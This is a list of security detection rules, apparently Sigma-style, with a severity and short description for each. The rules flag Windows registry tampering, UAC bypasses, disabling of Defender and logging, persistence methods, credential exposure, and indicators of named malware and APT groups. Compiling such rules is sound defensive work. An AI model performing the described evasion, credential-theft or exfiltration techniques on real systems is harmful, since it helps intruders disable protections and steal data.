RedMimicry Winnti Playbook Registry Manipulation	high	Detects actions caused by the RedMimicry Winnti playbook
Run Once Task Configuration in Registry	medium	Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup
Shell Open Registry Keys Manipulation	high	Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)
Atbroker Registry Change	medium	Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'
Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback	medium	Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.
Registry Persistence via Service in Safe Mode	high	Detects the modification of the registry to allow a driver or service to persist in Safe Mode.
Allow RDP Remote Assistance Feature	medium	Detect enable rdp feature to allow specific user to rdp connect on the targeted machine
Potential AMSI COM Server Hijacking	high	Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless
New BgInfo.EXE Custom DB Path Registry Configuration	medium	Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.
New BgInfo.EXE Custom WMI Query Registry Configuration	medium	Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"
New BgInfo.EXE Custom VBScript Registry Configuration	medium	Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"
Blackbyte Ransomware Registry	high	BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption
Bypass UAC Using DelegateExecute	high	Bypasses User Account Control using a fileless method
Bypass UAC Using SilentCleanup Task	high	Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.
Sysmon Driver Altitude Change	high	Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.
Change Winevt Channel Access Permission Via Registry	high	Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel.
ClickOnce Trust Prompt Tampering	medium	Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.
Service Binary in Suspicious Folder	high	Detect the creation of a service with a service binary located in a suspicious directory
Custom File Open Handler Executes PowerShell	high	Detects the abuse of custom file open handler, executing powershell
Windows Defender Exclusions Added - Registry	medium	Detects the Setting of Windows Defender Exclusions
Potentially Suspicious Desktop Background Change Via Registry	medium	Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.
Antivirus Filter Driver Disallowed On Dev Drive - Registry	high	Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive".
Hypervisor Enforced Code Integrity Disabled	high	Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel
Hypervisor Enforced Paging Translation Disabled	high	Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature.
DHCP Callout DLL Installation	high	Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)
Disable Exploit Guard Network Protection on Windows Defender	medium	Detects disabling Windows Defender Exploit Guard Network Protection
Disable Administrative Share Creation at Startup	medium	Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system
Disabled Windows Defender Eventlog	high	Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections
Disable PUA Protection on Windows Defender	high	Detects disabling Windows Defender PUA protection
Disable Tamper Protection on Windows Defender	medium	Detects disabling Windows Defender Tamper Protection
Potential AutoLogger Sessions Tampering	high	Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging
Disable Microsoft Defender Firewall via Registry	medium	Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage
Disable Internal Tools or Feature in Registry	medium	Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)
Disable Macro Runtime Scan Scope	high	Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros
Disable Privacy Settings Experience in Registry	medium	Detects registry modifications that disable Privacy Settings Experience
Disable Windows Security Center Notifications	medium	Detect set UseActionCenterExperience to 0 to disable the Windows security center notification
Windows Defender Service Disabled - Registry	high	Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry
Disable Windows Firewall by Registry	medium	Detect set EnableFirewall to 0 to disable the Windows firewall
Disable Windows Event Logging Via Registry	high	Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel
Add DisallowRun Execution to Registry	medium	Detect set DisallowRun to 1 to prevent user running specific computer program
DNS-over-HTTPS Enabled by Registry	medium	Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.
New DNS ServerLevelPluginDll Installed	high	Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
ETW Logging Disabled In .NET Processes - Sysmon Registry	high	Potential adversaries stopping ETW providers recording loaded .NET assemblies.
Enabling COR Profiler Environment Variables	medium	Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.
Potential EventLog File Location Tampering	high	Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting
Scripted Diagnostics Turn Off Check Enabled - Registry	medium	Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability
Suspicious Application Allowed Through Exploit Guard	high	Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings
Change User Account Associated with the FAX Service	high	Detect change of the user account associated with the FAX service to avoid the escalation problem.
Change the Fax Dll	high	Detect possible persistence using Fax DLL load when service restart
New File Association Using Exefile	high	Detects the abuse of the exefile handler in new file association. Used for bypass of security products.
Displaying Hidden Files Feature Disabled	medium	Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.
Registry Hide Function from User	medium	Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)
Hide Schedule Task Via Index Value Tamper	high	Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)
Driver Added To Disallowed Images In HVCI - Registry	high	Detects changes to the "HVCIDisallowedImages" registry value to potentially add a driver to the list, in order to prevent it from loading.
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols	high	Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.
Uncommon Extension In Keyboard Layout IME File Registry Value	high	Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.
Suspicious Path In Keyboard Layout IME File Registry Value	high	Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.
Internet Explorer DisableFirstRunCustomize Enabled	medium	Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.
RestrictedAdminMode Registry Value Tampering	high	Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise
NET NGenAssemblyUsageLog Registry Key Tamper	high	Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.
Microsoft Office Protected View Disabled	high	Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.
Trust Access Disable For VBApplications	high	Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.
Python Function Execution Security Warning Disabled In Excel - Registry	high	Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.
Outlook EnableUnsafeClientMailRules Setting Enabled - Registry	high	Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros
Uncommon Microsoft Office Trusted Location Added	high	Detects changes to registry keys related to "Trusted Location" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions.
Macro Enabled In A Potentially Suspicious Document	high	Detects registry changes to Office trust records where the path is located in a potentially suspicious location
Office Macros Warning Disabled	high	Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
MaxMpxCt Registry Value Changed	low	Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.
Potential Persistence Via Custom Protocol Handler	medium	Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.
Potential Persistence Via Event Viewer Events.asp	medium	Detects potential registry persistence technique using the Event Viewer "Events.asp" technique
Potential Persistence Via GlobalFlags	high	Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys
Modification of IE Registry Settings	low	Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence
Potential WerFault ReflectDebugger Registry Value Abuse	high	Detects potential WerFault "ReflectDebugger" registry value abuse for persistence.
Potential Attachment Manager Settings Associations Tamper	high	Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)
Potential Attachment Manager Settings Attachments Tamper	high	Detects tampering with attachment manager settings policies attachments (See reference for more information)
Potential PowerShell Execution Policy Tampering	medium	Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution
PowerShell Logging Disabled Via Registry Key Tampering	high	Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging
Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG	high	Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".
ETW Logging Disabled For rpcrt4.dll	low	Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll
ScreenSaver Registry Key Set	medium	Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl
ETW Logging Disabled For SCM	low	Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)
Registry Explorer Policy Modification	medium	Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)
Persistence Via New SIP Provider	medium	Detects when an attacker register a new SIP provider for persistence and defense evasion
Tamper With Sophos AV Registry Keys	high	Detects tamper attempts to sophos av functionality via registry key modification
Hiding User Account Via SpecialAccounts Registry Key	high	Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.
Activate Suppression of Windows Security Center Notifications	medium	Detect set Notification_Suppress to 1 to disable the Windows security center notification
Suspicious Environment Variable Has Been Registered	high	Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings
Potential PendingFileRenameOperations Tampering	medium	Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot.
Suspicious Service Installed	medium	Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)
Enable LM Hash Storage	high	Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.
RDP Sensitive Settings Changed to Zero	medium	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.
RDP Sensitive Settings Changed	high	Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc
Old TLS1.0/TLS1.1 Protocol Version Enabled	medium	Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.
Potential Signing Bypass Via Windows Developer Features - Registry	high	Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.
UAC Bypass via Event Viewer	high	Detects UAC bypass method using Windows event viewer
UAC Bypass via Sdclt	high	Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)
UAC Bypass Abusing Winsat Path Parsing - Registry	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - Registry	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
UAC Disabled	medium	Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value "EnableLUA" to 0.
UAC Notification Disabled	medium	Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.
UAC Secure Desktop Prompt Disabled	medium	Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.
Wdigest Enable UseLogonCredential	high	Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials
Execution DLL of Choice Using WAB.EXE	high	This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.
Disable Windows Defender Functionalities Via Registry Keys	high	Detects when attackers or tools disable Windows Defender functionalities via the Windows registry
Winget Admin Settings Modification	low	Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks
Enable Local Manifest Installation With Winget	medium	Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.
Winlogon AllowMultipleTSSessions Enable	medium	Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users
Sysmon Configuration Change	medium	Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration
Sysmon Configuration Error	high	Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages
Sysmon Configuration Modification	high	Detects when an attacker tries to hide from Sysmon by disabling or stopping it
Sysmon Blocked Executable	high	Triggers on any Sysmon "FileBlockExecutable" event, which indicates a violation of the configured block policy
Sysmon Blocked File Shredding	high	Triggers on any Sysmon "FileBlockShredding" event, which indicates a violation of the configured shredding policy.
Sysmon File Executable Creation Detected	medium	Triggers on any Sysmon "FileExecutableDetected" event, which triggers every time a PE that is monitored by the config is created.
ZxShell Malware	critical	Detects a ZxShell start by the called and well-known function name
Exploit for CVE-2015-1641	critical	Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641
Fireball Archer Install	high	Detects Archer malware invocation via rundll32
Malware Shellcode in Verclsid Target Process	high	Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro
NotPetya Ransomware Activity	critical	Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil
Potential PlugX Activity	high	Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location
WannaCry Ransomware Activity	critical	Detects WannaCry ransomware activity
Ps.exe Renamed SysInternals Tool	high	Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
Lazarus System Binary Masquerading	high	Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location
APT27 - Emissary Panda Activity	critical	Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27
Sofacy Trojan Loader Activity	high	Detects Trojan loader activity as used by APT28
APT29 2018 Phishing Campaign File Indicators	critical	Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant
APT29 2018 Phishing Campaign CommandLine Indicators	critical	Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant
OceanLotus Registry Activity	critical	Detects registry keys created in OceanLotus (also known as APT32) attacks
Potential MuddyWater APT Activity	high	Detects potential Muddywater APT activity
OilRig APT Activity	critical	Detects OilRig activity as reported by Nyotron in their March 2018 report
OilRig APT Registry Persistence	critical	Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - Security	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - System	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
Potential Baby Shark Malware Activity	high	Detects activity that could be related to Baby Shark malware
Potential Dridex Activity	critical	Detects potential Dridex acitvity via specific process patterns
Potential Emotet Activity	high	Detects all Emotet like process executions that are not covered by the more generic rules
Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32	medium	Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local
Potential EmpireMonkey Activity	high	Detects potential EmpireMonkey APT activity
Equation Group DLL_U Export Function Load	critical	Detects a specific export function name used by one of EquationGroup tools
Operation Wocao Activity	high	Detects activity mentioned in Operation Wocao report
Operation Wocao Activity - Security	high	Detects activity mentioned in Operation Wocao report
Potential Emotet Rundll32 Execution	critical	Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL
ComRAT Network Communication	high	Detects Turla ComRAT network communication.
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry	high	Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.
Potential Ke3chang/TidePool Malware Activity	high	Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020
EvilNum APT Golden Chickens Deployment Via OCX Files	critical	Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report
Greenbug Espionage Group Indicators	critical	Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec
Winnti Malware HK University Campaign	critical	Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities
Winnti Pipemon Characteristics	critical	Detects specific process characteristics of Winnti Pipemon malware reported by ESET
Potential Exploitation Attempt From Office Application	high	Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)
Suspicious Computer Account Name Change CVE-2021-42287	high	Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287
Potential BlackByte Ransomware Activity	high	Detects command line patterns used by BlackByte ransomware in different operations
Potential Devil Bait Related Indicator	high	Detects the creation of ".xml" and ".txt" files in folders of the "\AppData\Roaming\Microsoft" directory by uncommon processes. This behavior was seen common across different Devil Bait samples and stages as described by the NCSC
Potential Devil Bait Malware Reconnaissance	high	Detects specific process behavior observed with Devil Bait samples
Goofy Guineapig Backdoor IOC	high	Detects malicious indicators seen used by the Goofy Guineapig malware
Potential Goofy Guineapig GoolgeUpdate Process Anomaly	high	Detects "GoogleUpdate.exe" spawning a new instance of itself in an uncommon location as seen used by the Goofy Guineapig backdoor
Small Sieve Malware File Indicator Creation	high	Detects filename indicators that contain a specific typo seen used by the Small Sieve malware.
APT PRIVATELOG Image Load Pattern	high	Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances
Suspicious Set Value of MSDT in Registry (CVE-2022-30190)	medium	Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.
Potential Bumblebee Remote Thread Creation	high	Detects remote thread injection events based on action seen used by bumblebee
Potential CVE-2023-36884 Exploitation Dropped File	medium	Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884
Potential COLDSTEEL RAT File Indicators	high	Detects the creation of a file named "dllhost.exe" in the "C:\users\public\Documents\" directory. Seen being used by the COLDSTEEL RAT in some of its variants.
Potential COLDSTEEL Persistence Service DLL Creation	high	Detects the creation of a file in a specific location and with a specific name related to COLDSTEEL RAT
Potential COLDSTEEL Persistence Service DLL Load	high	Detects a suspicious DLL load by an "svchost" process based on location and name that might be related to ColdSteel RAT. This DLL location and name has been seen used by ColdSteel as the service DLL for its persistence mechanism
COLDSTEEL RAT Anonymous User Process Execution	high	Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL
COLDSTEEL RAT Cleanup Command Execution	critical	Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples
COLDSTEEL RAT Service Persistence Execution	critical	Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT
COLDSTEEL Persistence Service Creation	high	Detects the creation of new services potentially related to COLDSTEEL RAT
Injected Browser Process Spawning Rundll32 - GuLoader Activity	high	Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process.
IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32	high	Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID
Potential Pikabot Hollowing Activity	high	Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries
Pikabot Fake DLL Extension Execution Via Rundll32.EXE	high	Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.
Qakbot Regsvr32 Calc Pattern	high	Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot
Potential Qakbot Rundll32 Execution	high	Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity.
Qakbot Rundll32 Exports Execution	critical	Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.
Qakbot Rundll32 Fake DLL Extension Execution	critical	Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.
Rhadamanthys Stealer Module Launch Via Rundll32.EXE	medium	Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023
Rorschach Ransomware Execution Activity	critical	Detects Rorschach ransomware execution activity
Malicious DLL Load By Compromised 3CXDesktopApp	critical	Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp
Potential Compromised 3CXDesktopApp Execution	high	Detects execution of known compromised version of 3CXDesktopApp
Potential Compromised 3CXDesktopApp Update Activity	high	Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software
DLL Names Used By SVR For GraphicalProton Backdoor	medium	Hunts known SVR-specific DLL names.
Diamond Sleet APT DLL Sideloading Indicators	high	Detects DLL sideloading activity seen used by Diamond Sleet APT
Diamond Sleet APT Scheduled Task Creation - Registry	high	Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability
Lazarus APT DLL Sideloading Activity	high	Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company
UNC4841 - Email Exfiltration File Pattern	high	Detects filename pattern of email related data used by UNC4841 for staging and exfiltration
UNC4841 - Barracuda ESG Exploitation Indicators	high	Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation.
UNC4841 - SSL Certificate Exfiltration Via Openssl	high	Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command.
UNC4841 - Download Compressed Files From Temp.sh Using Wget	high	Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation.
UNC4841 - Download Tar File From Untrusted Direct IP Via Wget	high	Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.
ScreenConnect User Database Modification - Security	medium	This detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection	high	Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.
Potential Kapeka Decrypted Backdoor Indicator	high	Detects the presence of a file that is decrypted backdoor binary dropped by the Kapeka Dropper, which disguises itself as a hidden file under a folder named "Microsoft" within "CSIDL_COMMON_APPDATA" or "CSIDL_LOCAL_APPDATA", depending on the process privileges. The file, typically 5-6 characters long with a random combination of consonants and vowels followed by a ".wll" extension to pose as a legitimate file to evade detection.
Kapeka Backdoor Loaded Via Rundll32.EXE	high	Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.
Kapeka Backdoor Execution Via RunDLL32.EXE	high	Detects Kapeka backdoor process execution pattern, where the dropper launch the backdoor binary by calling rundll32 and passing the backdoor's first export ordinal (#1) with a "-d" argument.
Kapeka Backdoor Configuration Persistence	medium	Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers\" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.
Lummac Stealer Activity - Execution Of More.com And Vbc.exe	high	Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.
Potential Raspberry Robin Aclui Dll SideLoading	high	Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.
Potential Raspberry Robin CPL Execution Activity	high	Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.
Potential Raspberry Robin Registry Set Internet Settings ZoneMap	low	Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections.
Forest Blizzard APT - File Creation Activity	high	Detects the creation of specific files inside of ProgramData directory. These files were seen being created by Forest Blizzard as described by MSFT.
Forest Blizzard APT - JavaScript Constrained File Creation	medium	Detects the creation of JavaScript files inside of the DriverStore directory. Forest Blizzard used this to exploit the CVE-2022-38028 vulnerability in Windows Print Spooler service by modifying a JavaScript constraints file and executing it with SYSTEM-level permissions.
Forest Blizzard APT - Process Creation Activity	high	Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.
ScreenConnect - SlashAndGrab Exploitation Indicators	high	Detects indicators of exploitation by threat actors during exploitation of the "SlashAndGrab" vulnerability related to ScreenConnect as reported Team Huntress
Account Created And Deleted By Non Approved Users	medium	Detects accounts that are created or deleted by non-approved users.
Privilege Role Elevation Not Occuring on SAW or PAW	high	Detects failed sign-in from a PAW or SAW device
Privilege Role Sign-In Outside Expected Controls	high	Detects failed sign-in due to user not meeting expected controls for adminitrators
User with Privileges Logon	low	Detects logon with "Special groups" and "Special Privileges" can be thought of as Administrator groups or privileges.
